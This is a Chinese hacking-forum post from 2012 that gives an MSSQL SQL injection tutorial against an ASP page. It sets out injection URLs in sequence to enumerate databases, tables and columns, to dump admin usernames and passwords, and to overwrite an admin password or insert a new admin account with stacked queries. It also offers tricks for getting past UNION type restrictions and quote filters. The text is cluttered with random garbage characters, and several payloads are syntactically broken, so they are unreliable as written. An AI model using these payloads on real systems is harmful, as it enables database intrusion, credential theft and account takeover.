找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:  M  v2 y4 J7 |' `! l
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
, X) p$ A* A, rSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.4 Y0 r- n4 s) Y7 z. C; c$ o  ?: T
爆下一个库:7 _8 B! j  T; q
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
2 H# F7 Z- {$ n. f8 h5 B+ M0 g* K/ z
$ D+ J; b) Z- R" Q8 }7 C爆表:* O: z: {' h! Y! o  H% B* g
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  d( G# O$ }" T6 L0 x4 q0 l; O6 `# \* p8 u, g" d
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
0 z- r1 C; A/ h& m" `
- @7 v9 r' d+ q6 [  B% n; ]% H爆下一个表* A  w$ f! y. F0 [, q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--3 p/ R# K; p  O5 F' c& ~$ g0 |

- F2 H* P% K$ M3 {& \3 K' Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--. s3 g& N  T: s: v

" @9 `9 r+ p1 M
  O" J! s, _% L6 Z# w( g
' P& ~2 T  c2 [8 [7 t7 e爆字段:
8 m7 X  L+ H+ W3 Y7 ^+ W$ Q! zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
& y! r0 G* K, `: n7 h. `2 y
7 t: ]% B; E6 O/ i爆下一个字段1 Q( \8 w$ `0 t* Z0 i  [5 W
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
- f8 e/ D! g! m) H! K  B2 F8 A# u# ]2 f' s' [
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, Y" t4 M: O) w1 ]' q# q

4 c. R7 i7 b# X' E* }5 f! E) E4 x$ m% w! Z( T' A4 ^
爆字段里的内容
5 r% Y! ~. c/ D2 S4 K. Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--0 F1 D& A' J& P9 I" ?

: `& e& e7 x1 C  j: Uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
; c# w. ~4 T/ f  X. N& W& ^/ H% B7 Z/ D, F- |' g2 O! I' {# Z
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--5 s! j7 \5 Z0 D) ]& O! r: ^

- E  f. I8 }9 Q: U; Q/ nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--2 G; M5 O5 l, P6 L- ]+ E1 O

8 H, U% p2 U5 N0 c- ^) B更新字段里的内容
0 U1 H  \( I& @4 P, w' m. Zhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
  X9 k& A4 w0 r" d" V: ?/ p* o4 l2 h2 |, u  e, `+ s
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--/ B4 `6 _) q/ _# g' C. w
7 Q$ ], W( A- w, T; O3 s

# D! I3 r: Z5 F/ V+ o
1 [" M: D1 g2 U0 R        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
$ Z! [4 s, X. Z- T/ D" t    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。/ D- Q2 x4 J! G- V- W
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。7 D9 E7 c- e0 R5 Z6 k
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
" J0 V0 K# G) q2 ~' p. A4 _1 _. Z8 h7 b8 O% ?6 p
突了了大部份限制的语句9 x  J( D$ o; S( T; [
and 1=2 union all select char(49),char(50),null,null;--4 w5 |& q0 U4 W- q3 T* l9 L
) {- y# C9 I& [+ X8 ~- X! m

% T% z( _& P7 r& e8 S- x" N& n8 Dnull也可以正常执行,不过没有回显,不好判断回显的列数。3 e; j: [! }' s" M+ v6 R
一般union遇到问题都是有text或者ntext字段,image的很少遇到
; ^0 D. m- m, A1 J) O: l5 x. [  X' W# y6 c  \" x
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
; K( Z" `9 @1 L  @
1 D& F  S9 x, f2 o. c
  g$ h/ X6 ]9 Y# ^: a7 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表